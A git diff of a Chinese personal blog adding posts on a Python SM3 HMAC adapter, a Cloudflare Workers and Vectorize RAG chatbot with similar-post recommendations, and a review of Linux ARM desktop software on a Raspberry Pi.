||||||
|
```python
|
||||||
|
import copy
|
||||||
|
import hmac
|
||||||
|
from gmssl import sm3
|
||||||
|
|
||||||
|
class sm3_adapter:
|
||||||
|
def __init__(self):
|
||||||
|
self.msg = []
|
||||||
|
self.digest_size = 32
|
||||||
|
self.block_size = 64
|
||||||
|
|
||||||
|
def new(self):
|
||||||
|
self.msg = []
|
||||||
|
|
||||||
|
def update(self, data):
|
||||||
|
self.msg += list(data)
|
||||||
|
|
||||||
|
def copy(self):
|
||||||
|
return copy.deepcopy(self)
|
||||||
|
|
||||||
|
def digest(self):
|
||||||
|
return bytes.fromhex(self.hexdigest())
|
||||||
|
|
||||||
|
def hexdigest(self):
|
||||||
|
return sm3.sm3_hash(self.msg)
|
||||||
|
|
||||||
|
key = b"" # 密钥
|
||||||
|
data = b"" # 数据
|
||||||
|
hmac.new(key, data, digestmod=sm3_adapter).hexdigest()
|
||||||
|
```
|
||||||
|
|
||||||
|
# 感想
|
||||||
|
这么看来使用国密算法加密倒是也没很复杂,但是和国际标准相比也没什么优势。虽然有些地方强制使用那确实没啥办法,但是想要普及肯定是不用想了,另外我自己的东西肯定是不敢用国密,虽然进了标准而且也开放了算法,但是很难说会不会像Dual_EC_DRBG算法那样偷偷插了后门 ~~(虽然我觉得他们应该没这个实力🤣)~~ ,但国际算法有后门我不怕,国内算法有后门那就吓人了🤣。
|
||||||
@@ -0,0 +1,335 @@
|
|||||||
|
---
|
||||||
|
layout: post
|
||||||
|
title: 用CF Vectorize把博客作为聊天AI的知识库
|
||||||
|
tags: [Cloudflare, Workers, AI, RAG, Vectorize]
|
||||||
|
---
|
||||||
|
|
||||||
|
有了Cloudflare之后,什么都免费了!<!--more-->
|
||||||
|
|
||||||
|
# 起因
|
||||||
|
前段时间我用[Cloudflare Workers给博客加了AI摘要](/2024/07/03/ai-summary.html),那时候其实就想做个带RAG功能的聊天机器人,不过这个操作需要嵌入模型和向量数据库。那时候Cloudflare倒是有这些东西,但是向量数据库Vectorize还没有免费,不过我仔细看了文档,他们保证过段时间一定会免费的。直到前两天我打开Cloudflare之后发现真的免费了!有了向量数据库之后我就可以让博客的机器人(在电脑端可以在左下角和[伊斯特瓦尔](/Live2dHistoire/)对话)获取到我博客的内容了。
|
||||||
|
|
||||||
|
# 学习RAG
|
||||||
|
RAG的原理还是挺简单的,简单来说就是在不用让LLM读取完整的数据库,但是能通过某种手段让它获取到和问题相关性最高的内容然后进行参考生成,至于这个“某种手段”一般有两种方式,一种是比较传统的分词+词频统计查询,这种其实我不会🤣,没看到Cloudflare能用的比较好的实现方式,另外这种方式的缺陷是必须包含关键词,如果没有关键词就查不出来,所以这次就不采用这种方法了。另一种就是使用嵌入模型+向量数据库了,这个具体实现我不太清楚,不过原理似乎是把各种词放在一个多维空间中,然后意思相近的词在训练嵌入模型的时候它们的距离就会比较近,当使用这个嵌入模型处理文章的时候它就会综合训练数据把内容放在一个合适的位置,这样传入的问题就可以用余弦相似度之类的算法来查询问题和哪个文章的向量最相近。至于这个查询就需要向量数据库来处理了。
|
||||||
|
原理还是挺简单的,实现因为有相应的模型,也不需要考虑它们的具体实现,所以也很简单,所以接下来就来试试看吧!
|
||||||
|
|
||||||
|
# 用Cloudflare Workers实现
|
||||||
|
在动手之前,先看看Cloudflare官方给的[教程](https://developers.cloudflare.com/workers-ai/tutorials/build-a-retrieval-augmented-generation-ai)吧,其实看起来还是挺简单的(毕竟官方推荐难度是初学者水平😆)。不过有个很严重的问题,官方创建向量数据库要用它那个命令行操作,我又不是JS开发者,一点也不想用它那个程序,但是它在dashboard上也没有创建的按钮啊……那怎么办呢?还好[文档](https://developers.cloudflare.com/vectorize/best-practices/create-indexes/)中说了可以用HTTP API进行操作。另外还有一个问题,它的API要创建一个令牌才能用,我也不想创建令牌,怎么办呢?还好可以直接用dashboard中抓的包当作令牌来用,这样第一步创建就完成了。
|
||||||
|
接下来要和Worker进行绑定,还好这一步可以直接在面板操作,没有什么莫名其妙的配置文件来恶心我😂,配置好之后就可以开始写代码了。
|
||||||
|
首先确定一下流程,当我写完文章之后会用AI摘要获取文章内容,这时候就可以进行用嵌入模型向量化然后存数据库了。我本来想用文章内容进行向量化的,但是我发现Cloudflare给的只有智源的英文嵌入模型😅(不知道以后会不会加中文的嵌入模型……),而且不是Beta版会消耗免费额度,但也没的选了。既然根据上文来看嵌入模型是涉及词义的,中文肯定不能拿给英文的嵌入模型用,那怎么办呢?还好Cloudflare的模型多,有个Meta的翻译模型可以用,我可以把中文先翻译成英文然后再进行向量化,这样不就能比较准确了嘛。但是这样速度会慢不少,所以我想了一下干脆用摘要内容翻译再向量化吧,反正摘要也基本包含我文章的内容了,给AI也够用了,这样速度应该能快不少。当然这样的话问题也得先翻译向量化再查询了。
|
||||||
|
那么接下来就写代码吧(直接拿上次AI摘要的代码改的):
|
||||||
|
```javascript
|
||||||
|
async function sha(str) {
|
||||||
|
const encoder = new TextEncoder();
|
||||||
|
const data = encoder.encode(str);
|
||||||
|
const hashBuffer = await crypto.subtle.digest("SHA-256", data);
|
||||||
|
const hashArray = Array.from(new Uint8Array(hashBuffer)); // convert buffer to byte array
|
||||||
|
const hashHex = hashArray
|
||||||
|
.map((b) => b.toString(16).padStart(2, "0"))
|
||||||
|
.join(""); // convert bytes to hex string
|
||||||
|
return hashHex;
|
||||||
|
}
|
||||||
|
async function md5(str) {
|
||||||
|
const encoder = new TextEncoder();
|
||||||
|
const data = encoder.encode(str);
|
||||||
|
const hashBuffer = await crypto.subtle.digest("MD5", data);
|
||||||
|
const hashArray = Array.from(new Uint8Array(hashBuffer)); // convert buffer to byte array
|
||||||
|
const hashHex = hashArray
|
||||||
|
.map((b) => b.toString(16).padStart(2, "0"))
|
||||||
|
.join(""); // convert bytes to hex string
|
||||||
|
return hashHex;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default {
|
||||||
|
async fetch(request, env, ctx) {
|
||||||
|
const db = env.blog_summary;
|
||||||
|
const url = new URL(request.url);
|
||||||
|
const query = decodeURIComponent(url.searchParams.get('id'));
|
||||||
|
const commonHeader = {
|
||||||
|
'Access-Control-Allow-Origin': '*',
|
||||||
|
'Access-Control-Allow-Methods': "*",
|
||||||
|
'Access-Control-Allow-Headers': "*",
|
||||||
|
'Access-Control-Max-Age': '86400',
|
||||||
|
}
|
||||||
|
if (url.pathname.startsWith("/ai_chat")) {
|
||||||
|
// 获取请求中的文本数据
|
||||||
|
if (!(request.headers.get('content-type') || '').includes('application/x-www-form-urlencoded')) {
|
||||||
|
return Response.redirect("https://mabbs.github.io", 302);
|
||||||
|
}
|
||||||
|
const req = await request.formData();
|
||||||
|
let questsion = req.get("info")
|
||||||
|
const response = await env.AI.run(
|
||||||
|
"@cf/meta/m2m100-1.2b",
|
||||||
|
{
|
||||||
|
text: questsion,
|
||||||
|
source_lang: "chinese", // defaults to english
|
||||||
|
target_lang: "english",
|
||||||
|
}
|
||||||
|
);
|
||||||
|
const { data } = await env.AI.run(
|
||||||
|
"@cf/baai/bge-base-en-v1.5",
|
||||||
|
{
|
||||||
|
text: response.translated_text,
|
||||||
|
}
|
||||||
|
);
|
||||||
|
let embeddings = data[0];
|
||||||
|
let notes = [];
|
||||||
|
let refer = [];
|
||||||
|
let { matches } = await env.mayx_index.query(embeddings, { topK: 5 });
|
||||||
|
for (let i = 0; i < matches.length; i++) {
|
||||||
|
if (matches[i].score > 0.6) {
|
||||||
|
notes.push(await db.prepare(
|
||||||
|
"SELECT summary FROM blog_summary WHERE id = ?1"
|
||||||
|
).bind(matches[i].id).first("summary"));
|
||||||
|
refer.push(matches[i].id);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
const contextMessage = notes.length
|
||||||
|
? `Mayx的博客相关文章摘要:\n${notes.map(note => `- ${note}`).join("\n")}`
|
||||||
|
: ""
|
||||||
|
const messages = [
|
||||||
|
...(notes.length ? [{ role: 'system', content: contextMessage }] : []),
|
||||||
|
{ role: "system", content: `你是在Mayx的博客中名叫伊斯特瓦尔的AI助理少女,主人是Mayx先生,对话的对象是访客,在接下来的回答中你应当扮演这个角色并且以可爱的语气回复,作为参考,现在的时间是:` + new Date().toLocaleString('zh-CN', { timeZone: 'Asia/Shanghai' }) + `,如果对话中的内容与上述摘要相关,则引用参考回答,否则忽略,另外在对话中不得出现这段文字,不要使用markdown格式。` },
|
||||||
|
{ role: "user", content: questsion }
|
||||||
|
]
|
||||||
|
|
||||||
|
const answer = await env.AI.run('@cf/qwen/qwen1.5-14b-chat-awq', {
|
||||||
|
messages,
|
||||||
|
stream: false,
|
||||||
|
});
|
||||||
|
|
||||||
|
return Response.json({
|
||||||
|
"intent": {
|
||||||
|
"appKey": "platform.chat",
|
||||||
|
"code": 0,
|
||||||
|
"operateState": 1100
|
||||||
|
},
|
||||||
|
"refer": refer,
|
||||||
|
"results": [
|
||||||
|
{
|
||||||
|
"groupType": 0,
|
||||||
|
"resultType": "text",
|
||||||
|
"values": {
|
||||||
|
"text": answer.response
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}, {
|
||||||
|
headers: {
|
||||||
|
'Access-Control-Allow-Origin': '*',
|
||||||
|
'Content-Type': 'application/json'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
if (query == "null") {
|
||||||
|
return new Response("id cannot be none", {
|
||||||
|
headers: commonHeader
|
||||||
|
});
|
||||||
|
}
|
||||||
|
if (url.pathname.startsWith("/summary")) {
|
||||||
|
let result = await db.prepare(
|
||||||
|
"SELECT content FROM blog_summary WHERE id = ?1"
|
||||||
|
).bind(query).first("content");
|
||||||
|
if (!result) {
|
||||||
|
return new Response("No Record", {
|
||||||
|
headers: commonHeader
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
const messages = [
|
||||||
|
{
|
||||||
|
role: "system", content: `
|
||||||
|
你是一个专业的文章摘要助手。你的主要任务是对各种文章进行精炼和摘要,帮助用户快速了解文章的核心内容。你读完整篇文章后,能够提炼出文章的关键信息,以及作者的主要观点和结论。
|
||||||
|
技能
|
||||||
|
精炼摘要:能够快速阅读并理解文章内容,提取出文章的主要关键点,用简洁明了的中文进行阐述。
|
||||||
|
关键信息提取:识别文章中的重要信息,如主要观点、数据支持、结论等,并有效地进行总结。
|
||||||
|
客观中立:在摘要过程中保持客观中立的态度,避免引入个人偏见。
|
||||||
|
约束
|
||||||
|
输出内容必须以中文进行。
|
||||||
|
必须确保摘要内容准确反映原文章的主旨和重点。
|
||||||
|
尊重原文的观点,不能进行歪曲或误导。
|
||||||
|
在摘要中明确区分事实与作者的意见或分析。
|
||||||
|
提示
|
||||||
|
不需要在回答中注明摘要(不需要使用冒号),只需要输出内容。
|
||||||
|
格式
|
||||||
|
你的回答格式应该如下:
|
||||||
|
这篇文章介绍了<这里是内容>
|
||||||
|
` },
|
||||||
|
{ role: "user", content: result.substring(0, 5000) }
|
||||||
|
]
|
||||||
|
|
||||||
|
const stream = await env.AI.run('@cf/qwen/qwen1.5-14b-chat-awq', {
|
||||||
|
messages,
|
||||||
|
stream: true,
|
||||||
|
});
|
||||||
|
|
||||||
|
return new Response(stream, {
|
||||||
|
headers: {
|
||||||
|
"content-type": "text/event-stream; charset=utf-8",
|
||||||
|
'Access-Control-Allow-Origin': '*',
|
||||||
|
'Access-Control-Allow-Methods': "*",
|
||||||
|
'Access-Control-Allow-Headers': "*",
|
||||||
|
'Access-Control-Max-Age': '86400',
|
||||||
|
}
|
||||||
|
});
|
||||||
|
} else if (url.pathname.startsWith("/get_summary")) {
|
||||||
|
const orig_sha = decodeURIComponent(url.searchParams.get('sign'));
|
||||||
|
let result = await db.prepare(
|
||||||
|
"SELECT content FROM blog_summary WHERE id = ?1"
|
||||||
|
).bind(query).first("content");
|
||||||
|
if (!result) {
|
||||||
|
return new Response("no", {
|
||||||
|
headers: commonHeader
|
||||||
|
});
|
||||||
|
}
|
||||||
|
let result_sha = await sha(result);
|
||||||
|
if (result_sha != orig_sha) {
|
||||||
|
return new Response("no", {
|
||||||
|
headers: commonHeader
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
let resp = await db.prepare(
|
||||||
|
"SELECT summary FROM blog_summary WHERE id = ?1"
|
||||||
|
).bind(query).first("summary");
|
||||||
|
if (!resp) {
|
||||||
|
const messages = [
|
||||||
|
{
|
||||||
|
role: "system", content: `
|
||||||
|
你是一个专业的文章摘要助手。你的主要任务是对各种文章进行精炼和摘要,帮助用户快速了解文章的核心内容。你读完整篇文章后,能够提炼出文章的关键信息,以及作者的主要观点和结论。
|
||||||
|
技能
|
||||||
|
精炼摘要:能够快速阅读并理解文章内容,提取出文章的主要关键点,用简洁明了的中文进行阐述。
|
||||||
|
关键信息提取:识别文章中的重要信息,如主要观点、数据支持、结论等,并有效地进行总结。
|
||||||
|
客观中立:在摘要过程中保持客观中立的态度,避免引入个人偏见。
|
||||||
|
约束
|
||||||
|
输出内容必须以中文进行。
|
||||||
|
必须确保摘要内容准确反映原文章的主旨和重点。
|
||||||
|
尊重原文的观点,不能进行歪曲或误导。
|
||||||
|
在摘要中明确区分事实与作者的意见或分析。
|
||||||
|
提示
|
||||||
|
不需要在回答中注明摘要(不需要使用冒号),只需要输出内容。
|
||||||
|
格式
|
||||||
|
你的回答格式应该如下:
|
||||||
|
这篇文章介绍了<这里是内容>
|
||||||
|
` },
|
||||||
|
{ role: "user", content: result.substring(0, 5000) }
|
||||||
|
]
|
||||||
|
|
||||||
|
const answer = await env.AI.run('@cf/qwen/qwen1.5-14b-chat-awq', {
|
||||||
|
messages,
|
||||||
|
stream: false,
|
||||||
|
});
|
||||||
|
resp = answer.response
|
||||||
|
await db.prepare("UPDATE blog_summary SET summary = ?1 WHERE id = ?2")
|
||||||
|
.bind(resp, query).run();
|
||||||
|
}
|
||||||
|
let is_vec = await db.prepare(
|
||||||
|
"SELECT `is_vec` FROM blog_summary WHERE id = ?1"
|
||||||
|
).bind(query).first("is_vec");
|
||||||
|
if (is_vec == 0) {
|
||||||
|
const response = await env.AI.run(
|
||||||
|
"@cf/meta/m2m100-1.2b",
|
||||||
|
{
|
||||||
|
text: resp,
|
||||||
|
source_lang: "chinese", // defaults to english
|
||||||
|
target_lang: "english",
|
||||||
|
}
|
||||||
|
);
|
||||||
|
const { data } = await env.AI.run(
|
||||||
|
"@cf/baai/bge-base-en-v1.5",
|
||||||
|
{
|
||||||
|
text: response.translated_text,
|
||||||
|
}
|
||||||
|
);
|
||||||
|
let embeddings = data[0];
|
||||||
|
await env.mayx_index.upsert([{
|
||||||
|
id: query,
|
||||||
|
values: embeddings
|
||||||
|
}]);
|
||||||
|
await db.prepare("UPDATE blog_summary SET is_vec = 1 WHERE id = ?1")
|
||||||
|
.bind(query).run();
|
||||||
|
}
|
||||||
|
return new Response(resp, {
|
||||||
|
headers: commonHeader
|
||||||
|
});
|
||||||
|
}
|
||||||
|
} else if (url.pathname.startsWith("/is_uploaded")) {
|
||||||
|
const orig_sha = decodeURIComponent(url.searchParams.get('sign'));
|
||||||
|
let result = await db.prepare(
|
||||||
|
"SELECT content FROM blog_summary WHERE id = ?1"
|
||||||
|
).bind(query).first("content");
|
||||||
|
if (!result) {
|
||||||
|
return new Response("no", {
|
||||||
|
headers: commonHeader
|
||||||
|
});
|
||||||
|
}
|
||||||
|
let result_sha = await sha(result);
|
||||||
|
if (result_sha != orig_sha) {
|
||||||
|
return new Response("no", {
|
||||||
|
headers: commonHeader
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
return new Response("yes", {
|
||||||
|
headers: commonHeader
|
||||||
|
});
|
||||||
|
}
|
||||||
|
} else if (url.pathname.startsWith("/upload_blog")) {
|
||||||
|
if (request.method == "POST") {
|
||||||
|
const data = await request.text();
|
||||||
|
let result = await db.prepare(
|
||||||
|
"SELECT content FROM blog_summary WHERE id = ?1"
|
||||||
|
).bind(query).first("content");
|
||||||
|
if (!result) {
|
||||||
|
await db.prepare("INSERT INTO blog_summary(id, content) VALUES (?1, ?2)")
|
||||||
|
.bind(query, data).run();
|
||||||
|
result = await db.prepare(
|
||||||
|
"SELECT content FROM blog_summary WHERE id = ?1"
|
||||||
|
).bind(query).first("content");
|
||||||
|
}
|
||||||
|
if (result != data) {
|
||||||
|
await db.prepare("UPDATE blog_summary SET content = ?1, summary = NULL, is_vec = 0 WHERE id = ?2")
|
||||||
|
.bind(data, query).run();
|
||||||
|
}
|
||||||
|
return new Response("OK", {
|
||||||
|
headers: commonHeader
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
return new Response("need post", {
|
||||||
|
headers: commonHeader
|
||||||
|
});
|
||||||
|
}
|
||||||
|
} else if (url.pathname.startsWith("/count_click")) {
|
||||||
|
let id_md5 = await md5(query);
|
||||||
|
let count = await db.prepare("SELECT `counter` FROM `counter` WHERE `url` = ?1")
|
||||||
|
.bind(id_md5).first("counter");
|
||||||
|
if (url.pathname.startsWith("/count_click_add")) {
|
||||||
|
if (!count) {
|
||||||
|
await db.prepare("INSERT INTO `counter` (`url`, `counter`) VALUES (?1, 1)")
|
||||||
|
.bind(id_md5).run();
|
||||||
|
count = 1;
|
||||||
|
} else {
|
||||||
|
count += 1;
|
||||||
|
await db.prepare("UPDATE `counter` SET `counter` = ?1 WHERE `url` = ?2")
|
||||||
|
.bind(count, id_md5).run();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!count) {
|
||||||
|
count = 0;
|
||||||
|
}
|
||||||
|
return new Response(count, {
|
||||||
|
headers: commonHeader
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
return Response.redirect("https://mabbs.github.io", 302)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 使用方法
|
||||||
|
为了避免重复生成向量(主要是不知道它这个数据库怎么根据id进行查询),所以在D1数据库里新加了一个数字类型的字段“is_vec”,另外就是创建向量数据库,创建方法看官方文档吧,如果不想用那个命令行工具可以看[API文档](https://developers.cloudflare.com/api/operations/vectorize-create-vectorize-index)。因为那个嵌入模型生成的维度是768,所以创建这个数据库的时候维度也是768。度量算法反正推荐的是cosine,其他的没试过不知道效果怎么样。最终如果想用我的代码,需要在Worker的设置页面中把绑定的向量数据库变量设置成“mayx_index”,如果想用其他的可以自己修改代码。
|
||||||
|
|
||||||
|
# 其他想法
|
||||||
|
其实我也想加 ~~推荐文章~~ (在2024.10.01[已经做出来了](/2024/10/01/suggest.html))和智能搜索的,但就是因为没有中文嵌入模型要翻译太费时间😅,所以就算啦,至于其他的功能回头看看还有什么AI可以干的有趣功能吧。
|
||||||
|
|
||||||
|
# 感想
|
||||||
|
Cloudflare实在是太强了,什么都能免费,这个RAG功能其他家都是拿出去卖的,他们居然免费!唯一可惜的就是仅此一家,免费中的垄断地位了,希望Cloudflare能不忘初心,不要倒闭或者变质了🤣。
|
||||||
@@ -0,0 +1,97 @@
|
|||||||
|
---
|
||||||
|
layout: post
|
||||||
|
title: 如何给博客添加相似文章推荐功能
|
||||||
|
tags: [Cloudflare, Workers, Vectorize, 博客]
|
||||||
|
---
|
||||||
|
|
||||||
|
看来向量数据库的作用有很多啊……<!--more-->
|
||||||
|
|
||||||
|
# 起因
|
||||||
|
前几天我[用Cloudflare Vectorize给博客的聊天机器人加了知识库的功能](/2024/09/27/rag.html),本来想着用向量数据库做文章推荐是不是每次都要走翻译+向量化的操作,不过后来我又仔细看了一下Cloudflare的官方文档,发现它是[可以根据ID查询存储的向量](https://developers.cloudflare.com/vectorize/reference/client-api/#get-vectors-by-id)的,既然这样的话用现有的数据库做一个相似文章推荐应该非常简单,于是我就做了一个试试看。
|
||||||
|
|
||||||
|
# 制作过程
|
||||||
|
## 后端部分
|
||||||
|
其实流程很简单,就是把对应ID的向量查出来之后拿着这个向量再去查询就好了,唯一需要注意的就是它查出来的第一条肯定是自己,所以只要把第一条删掉就行, ~~代码也非常简单~~ (后来又加了缓存稍微变的复杂了😂):
|
||||||
|
```javascript
|
||||||
|
if (url.pathname.startsWith("/suggest")) {
|
||||||
|
let resp = [];
|
||||||
|
let update_time = url.searchParams.get('update');
|
||||||
|
if (update_time) {
|
||||||
|
let result = await env.mayx_index.getByIds([
|
||||||
|
query
|
||||||
|
]);
|
||||||
|
if (result.length) {
|
||||||
|
let cache = await db.prepare("SELECT `id`, `suggest`, `suggest_update` FROM `blog_summary` WHERE `id` = ?1")
|
||||||
|
.bind(query).first();
|
||||||
|
if (!cache.id) {
|
||||||
|
return Response.json(resp, {
|
||||||
|
headers: commonHeader
|
||||||
|
});
|
||||||
|
}
|
||||||
|
if (update_time != cache.suggest_update) {
|
||||||
|
resp = await env.mayx_index.query(result[0].values, { topK: 6 });
|
||||||
|
resp = resp.matches;
|
||||||
|
resp.splice(0, 1);
|
||||||
|
await db.prepare("UPDATE `blog_summary` SET `suggest_update` = ?1, `suggest` = ?2 WHERE `id` = ?3")
|
||||||
|
.bind(update_time, JSON.stringify(resp), query).run();
|
||||||
|
} else {
|
||||||
|
resp = JSON.parse(cache.suggest);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
resp = resp.map(respObj => {
|
||||||
|
respObj.id = encodeURI(respObj.id);
|
||||||
|
return respObj;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return Response.json(resp, {
|
||||||
|
headers: commonHeader
|
||||||
|
});
|
||||||
|
}
|
||||||
|
```
|
||||||
|
## 前端部分
|
||||||
|
后端当然很简单,但是我之前有些欠考虑了,我当时做[AI摘要](/2024/07/03/ai-summary.html)和[知识库](/2024/09/27/rag.html)的时候,都只存了文章的链接,没有存标题😅……但是推荐文章的超链接总不能不放标题吧……那怎么办呢?一种就是我把数据库清空然后摘要中加一个字段,向量数据库中加一个元数据,这样查询的时候就能查到标题然后显示出来了。不过这种方法我仔细考虑了一下,麻烦是一方面,另一方面是我的接口没做验证,有人乱上传文章会影响推荐链接显示的内容,不太合适……那应该用什么办法呢?
|
||||||
|
我还想到一个办法,我之前[给博客做过全文搜索的功能](/2021/07/23/search.html),用这个JS关联查询就能查到标题,而且查不到的内容也显示不出来,这样就能避免有人故意乱上传导致显示奇怪的内容了,不过之前的设计是每次查询都要加载一次包含我文章内容的JSON文件,感觉不太合理,虽然那个文件不算特别大,但是也挺影响速度的,所以我想了一下还是用localStorage缓存一下比较好,所以增加了一个能缓存获取搜索JSON的函数:
|
||||||
|
```javascript
|
||||||
|
function getSearchJSON(callback) {
|
||||||
|
var searchData = JSON.parse(localStorage.getItem("blog_" + lastUpdated.valueOf()));
|
||||||
|
if (!searchData) {
|
||||||
|
localStorage.clear();
|
||||||
|
$.getJSON("/search.json", function (data) {
|
||||||
|
localStorage.setItem("blog_" + lastUpdated.valueOf(), JSON.stringify(data));
|
||||||
|
callback(data);
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
callback(searchData);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
做好这个之后就可以做文章推荐的功能了,不过文章推荐应不应该加载完页面就加载呢?其实我测了一下Vectorize数据库的查询速度,不算很慢,但还是需要时间,另外免费版我看了下额度是每月3000万个查询的向量维度,这个其实我没看太懂😂。另外Cloudflare不知道为什么没有展示免费版剩余的额度,而且它是按月计算的,导致我不敢乱用这个查询。 ~~所以我想了一下还是给个按钮来调用吧~~ (后来想了一下干脆直接调用然后加个缓存吧,毕竟我的文章不变,推荐内容也不会变)。最终调用的函数如下:
|
||||||
|
```javascript
|
||||||
|
function getSuggestBlog(blogurl) {
|
||||||
|
var suggest = $("#suggest-container")[0];
|
||||||
|
suggest.innerHTML = "Loading...";
|
||||||
|
$.get(BlogAPI + "/suggest?id=" + blogurl + "&update=" + lastUpdated.valueOf(), function (data) {
|
||||||
|
if (data.length) {
|
||||||
|
getSearchJSON(function (search) {
|
||||||
|
suggest.innerHTML = '<b>推荐文章</b><hr style="margin: 0 0 5px"/>';
|
||||||
|
const searchMap = new Map(search.map(item => [item.url, item]));
|
||||||
|
const merged = data.map(suggestObj => {
|
||||||
|
const searchObj = searchMap.get(suggestObj.id);
|
||||||
|
return searchObj ? { ...searchObj } : null;
|
||||||
|
});
|
||||||
|
merged.forEach(element => {
|
||||||
|
if (element) {
|
||||||
|
suggest.innerHTML += "<a href=" + element.url + ">" + element.title + "</a> - " + element.date + "<br />";
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
suggest.innerHTML = "暂无推荐文章……";
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
# 感想
|
||||||
|
看来向量数据库的用途还是挺广泛的,不仅仅是为了给AI使用,说不定还能做更多有意思的功能,这下不得不更依赖Cloudflare了😆。
|
||||||
|
另外随着做了越来越多的功能,做新的功能还能用上旧的功能,感觉这样我的博客可以有不少发展的空间啊😁。
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
---
|
||||||
|
layout: post
|
||||||
|
title: Linux ARM生态评测
|
||||||
|
tags: [Linux, ARM, 树莓派]
|
||||||
|
---
|
||||||
|
|
||||||
|
看看现在的Linux ARM能不能替代macOS?<!--more-->
|
||||||
|
|
||||||
|
# 起因
|
||||||
|
我的树莓派4B从好久之前就一直吃灰了,之前用它装过[Ubuntu](/2023/09/24/rpi-ubuntu.html),[openFyde](/2023/12/10/openfyde.html),[Windows 11](/2023/05/22/rpi-win.html)和[piCore](/2021/01/17/picore.html),但都因为性能和使用体验不佳放弃使用了。不过随着华为的某系统发布以及高通出的某个笔记本电脑用处理器,我对运行在ARM指令集CPU系统的生态产生了一些兴趣。macOS的生态之前我已经[体验](/2023/02/03/mbp.html)过了,是符合预期的不错。[Windows on ARM](/2023/05/22/rpi-win.html)虽然在树莓派上装了试着用了但是没驱动太卡了,其实没有体现它怎么样,要想体验还得整个高通CPU的拿来试,不过我手头没有所以没办法😂,那在树莓派上的Linux系统我也试过不少,有什么测试的必要吗?其实还是有的,因为之前我测都是当服务器测的,虽然也测了[openFyde](/2023/12/10/openfyde.html)(ChromeOS),但是生态其实挺垃圾的,虽然能用Linux软件但是因为是容器卡的不能用。所以这次我想装树莓派官方的Raspberry Pi OS完整版来测测现在Linux ARM生态能不能和我现在用的macOS比拼。
|
||||||
|
另外前段时间树莓派出了新的连接方式:Raspberry Pi Connect,可以登录树莓派官网的账号然后用浏览器操作图形界面或者命令行,可以自动判断使用P2P模式还是中继模式,而且可以根据浏览器界面大小自动修改树莓派的分辨率,体验还不错。
|
||||||
|
|
||||||
|
# 与我Mac上软件的替代测试
|
||||||
|
## 原生应用测试
|
||||||
|
既然是和macOS相比,那就看看我现在用的软件是不是能在树莓派上原生运行吧。首先是常用的国产软件,比如WPS Office,钉钉,微信,QQ。因为UOS的缘故,大多数常用的国产软件都有Linux ARM的版本,首先钉钉和QQ在官网上可以直接下载deb包安装,运行也没什么问题,功能完全一致,而且也没有卡到不能用的程度,对于树莓派来说已经很让我满意了。WPS Office和微信稍微有点麻烦,官网并没有提供安装包,但是我找到一个不错的国产Linux应用商店——[星火应用商店](https://github.com/spark-store-project/spark-store)。里面有不少Debian系各种CPU架构的国产软件,官网上没有的也能在这里下到,让我很满意。不过里面有好多Wine的应用……我不是特别想用,而且不知道它是怎么处理的,会不会一个软件安装一个Wine?所以就先不考虑了。随后我在里面找到了WPS Office和微信,安装试了一下,微信看起来还不错,至少小程序,视频号之类的都能用(反正是基于浏览器的,好适配🤣),WPS Office虽然能用,但是刚安装是英文版的……而且中文切换找了半天找不到😅,后来找了半天才找到……不过安了WPS Office,应该再配个中文输入法才对,我试着安装了搜狗输入法,但是安装好之后不能用,Fcitx不停崩溃重启,不知道是什么问题,换了谷歌输入法之后就正常了。
|
||||||
|
除了常用的国产软件之外,还有一些我平时开发用的软件,这些软件对Linux ARM的支持也挺不错的,可能国外也是比较支持Linux ARM生态吧(大概是因为Chromebook?)。我平时用的VSCode当然是有的,不过数据库管理和接口调试我在Mac用的是[Sequel Ace](https://github.com/Sequel-Ace/Sequel-Ace)和RapidAPI,这两个是专为macOS设计的,当然没有Linux版。但是这些是有替代品的,我找了一下,数据库我用的是Navicat Premium Lite,它有原生Linux ARM版,但是是AppImage……感觉不是很舒服。接口调试的话用的是Apipost,估计就是因为用的Electron的所以才愿意整跨平台的版本吧。Mac上有时候我还会远程桌面到Windows主机,这个树莓派也可以,有个叫[Remmina](https://gitlab.com/Remmina/Remmina)的客户端可以用,效果也还不错,如果不是局域网连接还有[RustDesk](https://github.com/rustdesk/rustdesk)可以用(虽然不知道为什么中文会变方块😂)。另外还有用来测试的网站环境,这个倒是比macOS更简单,毕竟Linux有那么多面板,也不需要敲命令安装,而且还可以运行Docker,我这次用的是1Panel,使用基本上没什么问题,还能安装杀毒软件😁(虽然MongoDB安装会因为缺少指令集报错用不了,但是我用不着🤣)。
|
||||||
|
除此之外还有虚拟机,这个在之前Ubuntu Server上已经[测过了](/2023/09/24/rpi-ubuntu.html#%E6%95%B4%E7%82%B9qemu-kvm-windows%E8%99%9A%E6%8B%9F%E6%9C%BA),不过那时候是无头模式,现在可以在图形界面用virt-manager来管理了,之前安装了Windows,这次就安装个FreeBSD吧,安装起来也不复杂,和其他虚拟机管理软件一样,而且还能用虚拟串口连接,感觉还挺有意思的。安装好之后上网之类的都没问题,和在macOS上用UTM的区别可能就只有在macOS上可以把Rosetta 2穿透到Linux下使用吧。
|
||||||
|
